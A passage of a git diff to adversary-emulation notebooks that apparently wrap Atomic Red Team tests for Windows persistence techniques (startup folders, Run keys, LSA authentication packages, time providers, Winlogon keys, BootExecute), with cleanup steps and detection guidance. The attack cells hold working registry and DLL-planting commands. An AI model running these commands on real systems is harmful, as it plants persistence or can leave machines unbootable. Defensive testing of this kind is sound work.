in and executed from the startup folder to maintain persistance\n\nUpon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\nStart-Process \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nStart-Process \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\nStart-Process \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nStart-Process \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "fd7b815a", + "id": "31975636", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "a83bf891", + "id": "2a912804", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a4d1b527", + "id": "a40d6309", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "86f5c974", + "id": "c5a4206a", "metadata": {}, "source": [ "### Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder", @@ -237,28 +237,28 @@ { "cell_type": "code", "execution_count": null, - "id": "72f1d953", + "id": "8851821b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "670bf94f", + "id": "baaf0ec7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\" -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "4ba18f49", + "id": "cb32e489", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "08ae0c38", + "id": "3fe79879", "metadata": {}, "source": [ "### Atomic Test #8 - Add persistance via Recycle bin", @@ -271,28 +271,28 @@ { "cell_type": "code", "execution_count": null, - "id": "83b0064a", + "id": "5c3c64cd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "470a7527", + "id": "6e02b1d5", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg DELETE \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\" /f```" }, { "cell_type": "code", "execution_count": null, - "id": "12fdce4f", + "id": "e6329ed6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "103dbe16", + "id": "baedaa39", "metadata": {}, "source": [ "### Atomic Test #9 - SystemBC Malware-as-a-Service Registry", @@ -305,28 +305,28 @@ { "cell_type": "code", "execution_count": null, - "id": "df272b94", + "id": "6db5d23e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "faf8a1f7", + "id": "e54070d6", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name \"socks5_powershell\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b5e14e89", + "id": "11a9ab21", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "2c2cab10", + "id": "515cec82", "metadata": {}, "source": [ "### Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value", @@ -340,28 +340,28 @@ { "cell_type": "code", "execution_count": null, - "id": "de16f56d", + "id": "43b07e48", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "1b1478be", + "id": "a8a7a911", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"$env:TMP\\atomictest\\\" -Recurse -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1f58e8d2", + "id": "77849def", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "4d315f69", + "id": "5b119bd1", "metadata": {}, "source": [ "### Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value", @@ -374,28 +374,28 @@ { "cell_type": "code", "execution_count": null, - "id": "16316baa", + "id": "c331c9e4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "978937b6", + "id": "69aee019", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"$env:TMP\\atomictest\\\" -Recurse -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "30a5cfe5", + "id": "20a76e66", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "be511b8b", + "id": "a587950a", "metadata": {}, "source": [ "### Atomic Test #12 - HKCU - Policy Settings Explorer Run Key", @@ -409,28 +409,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f166b5c7", + "id": "48dad3d0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "567e352d", + "id": "b6ad7770", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"atomictest\"```" }, { "cell_type": "code", "execution_count": null, - "id": "17a7464a", + "id": "9ffaefcf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "d59c9f2f", + "id": "ce3e059d", "metadata": {}, "source": [ "### Atomic Test #13 - HKLM - Policy Settings Explorer Run Key", @@ -444,28 +444,28 @@ { "cell_type": "code", "execution_count": null, - "id": "503538b8", + "id": "4671b285", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "3c5b5b3a", + "id": "648e3fb4", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"atomictest\"```" }, { "cell_type": "code", "execution_count": null, - "id": "a9e556a1", + "id": "c1916b37", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "91d21126", + "id": "b314f27c", "metadata": {}, "source": [ "### Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value", @@ -479,28 +479,28 @@ { "cell_type": "code", "execution_count": null, - "id": "92fa6004", + "id": "1aeb9f70", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "e4248693", + "id": "4faa6d88", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup'```" }, { "cell_type": "code", "execution_count": null, - "id": "d23ab6de", + "id": "07c108e6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "46aa4732", + "id": "5191ec2d", "metadata": {}, "source": [ "### Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value ", @@ -514,28 +514,28 @@ { "cell_type": "code", "execution_count": null, - "id": "18e03352", + "id": "076a6a12", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "073129ed", + "id": "3478fe22", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup'```" }, { "cell_type": "code", "execution_count": null, - "id": "be087305", + "id": "c6c5f4e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 15 -Cleanup" }, { "cell_type": "markdown", - "id": "5eeecf60", + "id": "5bbcd445", "metadata": {}, "source": [ "### Atomic Test #16 - secedit used to create a Run key in the HKLM Hive", @@ -543,34 +543,69 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nsecedit /import /db mytemplate.db /cfg $PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini\nsecedit /configure /db mytemplate.db\n```" + "```command_prompt\nsecedit /import /db mytemplate.db /cfg \"$PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini\"\nsecedit /configure /db mytemplate.db\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b42e5d04", + "id": "ae979199", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "a51d16ad", + "id": "3da2c774", "metadata": {}, "source": "#### Cleanup: \n```cmd\nREG DELETE \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"calc\" /f >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "b8ce00da", + "id": "85437250", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 16 -Cleanup" }, { "cell_type": "markdown", - "id": "43a01455", + "id": "71494117", + "metadata": {}, + "source": [ + "### Atomic Test #17 - Modify BootExecute Value", + "This test modifies the BootExecute registry value to \"autocheck autoche *\", which can be used to simulate an adversary's attempt to tamper with the system's boot process. \nReference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf\nNOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nif (!(Test-Path \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\")) { reg.exe export \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\" /y }\nSet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" -Name \"BootExecute\" -Value \"autocheck autoche *\" -Type MultiString\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "355f2594", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.001 -TestNumbers 17" + }, + { + "cell_type": "markdown", + "id": "76b0d715", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nreg.exe import \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\"\nRemove-Item -Path \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\" -Force\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "250baa99", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.001 -TestNumbers 17 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "55739f57", "metadata": {}, "source": "## Detection\nMonitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -578,13 +613,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.002.ipynb b/playbook/tactics/privilege-escalation/T1547.002.ipynb index 5690e9cf..2a28f5a4 100644 --- a/playbook/tactics/privilege-escalation/T1547.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "91aa9945", + "id": "5433dafd", "metadata": {}, "source": "# T1547.002 - Authentication Package\nAdversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded." }, { "cell_type": "markdown", - "id": "5a874787", + "id": "6689e2b0", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e21eb626", + "id": "07831a76", "metadata": {}, "source": [ "### Atomic Test #1 - Authentication Package", @@ -22,34 +22,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1547.002\\bin\\package.dll C:\\Windows\\System32\\\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\\0package.dll\" /f\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1547.002\\bin\\package.dll\" C:\\Windows\\System32\\\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\\0package.dll\" /f\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "43b2b552", + "id": "548d7a77", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "60ba2b1e", + "id": "37329b19", "metadata": {}, "source": "#### Cleanup: \n```powershell\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\" /f\nrm -force C:\\windows\\system32\\package.dll\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2309cc96", + "id": "d8b8c385", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ce8d401c", + "id": "4c727241", "metadata": {}, "source": "## Detection\nMonitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)" } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.003.ipynb b/playbook/tactics/privilege-escalation/T1547.003.ipynb index 9dc2af64..3be807f3 100644 --- a/playbook/tactics/privilege-escalation/T1547.003.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b5cba940", + "id": "fd39bb59", "metadata": {}, "source": "# T1547.003 - Time Providers\nAdversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)" }, { "cell_type": "markdown", - "id": "0d655ad7", + "id": "8c9663e0", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "811858f7", + "id": "46e04429", "metadata": {}, "source": [ "### Atomic Test #1 - Create a new time provider", @@ -22,34 +22,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nnet stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n```" + "```powershell\nnet stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f88d2c04", + "id": "c172d152", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8fdfa649", + "id": "8c1eae5a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nnet stop w32time\nreg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n```" }, { "cell_type": "code", "execution_count": null, - "id": "29d85bd6", + "id": "6a174c8a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d9911c32", + "id": "2d3ed5d5", "metadata": {}, "source": [ "### Atomic Test #2 - Edit an existing time provider", @@ -57,34 +57,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nnet stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n```" + "```powershell\nnet stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "957b8d2f", + "id": "c8304079", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "bd44a8ab", + "id": "811ec58b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nnet stop w32time\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Windows\\SYSTEM32\\w32time.DLL\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"0\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"0\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1cb87cba", + "id": "bb6e6d52", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "229ed44c", + "id": "bce03e74", "metadata": {}, "source": "## Detection\nBaseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)" } @@ -92,13 +92,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.004.ipynb b/playbook/tactics/privilege-escalation/T1547.004.ipynb index 11b08f7b..0f0ee8ac 100644 --- a/playbook/tactics/privilege-escalation/T1547.004.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9faf6774", + "id": "0d2e75c9", "metadata": {}, "source": "# T1547.004 - Winlogon Helper DLL\nAdversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence." }, { "cell_type": "markdown", - "id": "f4943f13", + "id": "bc63f748", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ea393fe5", + "id": "f4d78c20", "metadata": {}, "source": [ "### Atomic Test #1 - Winlogon Shell Key Persistence - PowerShell", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7ba3b2c1", + "id": "65df7153", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "83a8f5d8", + "id": "32d2a5ff", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a6ee286f", + "id": "f99aa1aa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "dd25fbb2", + "id": "20c9e712", "metadata": {}, "source": [ "### Atomic Test #2 - Winlogon Userinit Key Persistence - PowerShell", @@ -61,62 +61,62 @@ { "cell_type": "code", "execution_count": null, - "id": "d5316819", + "id": "8ff114c6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "2345398b", + "id": "90e07071", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0d4edb9e", + "id": "d22a6dff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "05a8a465", + "id": "211a1a76", "metadata": {}, "source": [ "### Atomic Test #3 - Winlogon Notify Key Logon Persistence - PowerShell", - "PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.\n\nUpon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.\n", + "PowerShell code to set Winlogon Notify key to execute a notification package DLL 